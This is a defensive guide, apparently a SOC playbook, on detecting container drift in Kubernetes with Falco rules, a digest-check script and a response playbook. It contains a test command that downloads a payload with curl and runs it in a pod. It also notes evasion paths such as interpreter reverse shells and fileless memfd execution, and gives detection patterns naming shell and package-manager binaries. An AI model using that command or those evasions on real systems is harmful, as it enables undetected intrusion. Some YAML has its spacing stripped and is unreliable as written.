Detect unauthorized modifications to running containers by monitoring for binary execution drift, file system changes, and configuration deviations from the original container image.
Detect unauthorized modifications to running containers by monitoring for binary execution drift, file system changes, and configuration deviations from the original container image.
Container drift occurs when running containers deviate from their original image state through unauthorized file modifications, unexpected binary execution, configuration changes, or package installations. Since containers should be treated as immutable infrastructure, any drift is a potential indicator of compromise. Detection techniques leverage the DIE (Detect, Isolate, Evict) model -- an immutable workload should not change during runtime, so any observed change is potentially evidence of malicious activity.
When to Use
When investigating security incidents that require detecting container drift at runtime
When building detection rules or threat hunting queries for this domain
When SOC analysts need structured procedures for this analysis type
When validating security monitoring coverage for related attack techniques
Detection Gaps & Validation
Upper-layer baseline misses fileless execution:proc.is_exe_upper_layer = true only flags binaries written to the container's overlay upper layer. A binary dropped into an emptyDir/tmpfs mount or run via memfd_create (fileless) executes from a different layer and slips past the drift rule.
Interpreter abuse: a reverse shell run as python -c, perl, or node -e reuses an in-image binary, so neither the new-binary nor the package-manager rule fires - add proc.cmdline content matching for interpreters.
readOnlyRootFilesystem: true is not enough: writable volumeMounts (/tmp, cache) are legitimate write targets; attackers stage payloads there. The file-write rule already excludes /tmp, so drift into those paths is invisible.
Renamed package managers / static busybox evade the proc.name in (apt, yum, ...) list.
Mutable image tags defeat digest verification - the script only warns, it does not block.
How to validate the rule fires:kubectl exec into a test pod, curl -o /root/x http://.../payload && chmod +x /root/x && /root/x, and confirm the Drift Detected and Container Shell Spawned rules emit alerts. Drop the same binary into a mounted emptyDir to confirm the known coverage gap.
Prerequisites
Kubernetes cluster v1.24+ with runtime security tooling
Falco or Sysdig for runtime drift detection
Container image registry with image manifests available
Familiarity with Linux filesystem layers and OverlayFS
Core Concepts
Types of Container Drift
Binary drift: Execution of binaries not present in the original image (downloaded malware, compiled tools)
File drift: Creation, modification, or deletion of files in the container filesystem
Configuration drift: Changes to environment variables, mounted secrets, or runtime parameters
Package drift: Installation of new packages via apt, yum, pip, or npm at runtime
Network drift: New listening ports or outbound connections not expected for the workload
Detection Methods
Image-Based Comparison: Compare the running container's filesystem against its source image to identify added, modified, or removed files.
Behavioral Monitoring: Use eBPF or kernel-level monitoring to detect process execution, file access, and network activity that deviates from expected behavior.
Digest Verification: Continuously verify that running container image digests match the approved deployment manifests.
Implementation with Falco
Detecting New Binary Execution
-rule:DriftDetected(ContainerImageModifiedBinary)desc:Detectexecutionofabinarynotpresentintheoriginalcontainerimagecondition:>
spawned_process and
container and
not proc.pname in (container_entrypoint) and
proc.is_exe_upper_layer = true
output:>
Drift detected: new binary executed in container
(user=%user.name command=%proc.cmdline container=%container.name
image=%container.image.repository:%container.image.tag
exe_path=%proc.exepath)
priority:WARNINGtags: [container, drift]
-rule:ContainerShellSpawneddesc:Detectinteractiveshellinacontainerthatshouldbeimmutablecondition:>
spawned_process and
container and
proc.name in (bash, sh, dash, zsh, csh, ksh) and
not proc.pname in (container_entrypoint)
output:>
Shell spawned in container (user=%user.name shell=%proc.name
container=%container.name image=%container.image.repository)
priority:WARNINGtags: [container, drift, shell]
Detecting Package Manager Usage
-rule:PackageManagerExecutioninContainerdesc:Detectuseofpackagemanagersindicatingdriftcondition:>
spawned_process and
container and
proc.name in (apt, apt-get, yum, dnf, apk, pip, pip3, npm, gem, cargo)
output:>
Package manager executed in container (user=%user.name
command=%proc.cmdline container=%container.name
image=%container.image.repository)
priority:ERRORtags: [container, drift, package-manager]
Detecting File System Modifications
-rule:ContainerFileSystemWritedesc:Detectwritestocontainerupperlayerfilesystemcondition:>
open_write and
container and
fd.typechar = 'f' and
not fd.name startswith /tmp and
not fd.name startswith /var/log and
not fd.name startswith /proc
output:>
File write in container (user=%user.name file=%fd.name
container=%container.name)
priority:NOTICEtags: [container, drift, filesystem]
Implementation with Kubernetes Enforcement
Read-Only Root Filesystem
Prevent drift by making container filesystems immutable:
#!/bin/bash# Compare running container digests against approved manifest
NAMESPACE="production"
kubectl get pods -n "$NAMESPACE" -o json | jq -r '
.items[] |
.spec.containers[] |
"\(.image) \(.imageID)"
' | whileread IMAGE IMAGE_ID; do
APPROVED_DIGEST=$(kubectl get deploy -n "$NAMESPACE" -o json | \
jq -r ".items[].spec.template.spec.containers[] | select(.image==\"$IMAGE\") | .image")
if [[ "$IMAGE" != *"@sha256:"* ]]; thenecho"[WARN] Container using mutable tag: $IMAGE"fidone
Microsoft Defender for Containers Integration
For Azure Kubernetes environments, Microsoft Defender provides built-in binary drift detection:
{"alertType":"K8S.NODE_ImageBinaryDrift","severity":"Medium","description":"Binary executed that was not part of the original container image","remediationSteps":["Investigate the binary origin and purpose","Check if the container was compromised","Rebuild the container from a clean image","Enable readOnlyRootFilesystem"]}
Drift Response Playbook
Detect: Alert fires on drift event (Falco, Defender, Sysdig)
Validate: Confirm the drift is not from an approved process (init containers, config reloads)
Isolate: Apply a deny-all NetworkPolicy to the affected pod
Investigate: Capture container filesystem diff and process list
Evict: Delete the drifted pod (ReplicaSet will recreate from clean image)
Remediate: Fix the root cause (patch vulnerability, update image, tighten RBAC)
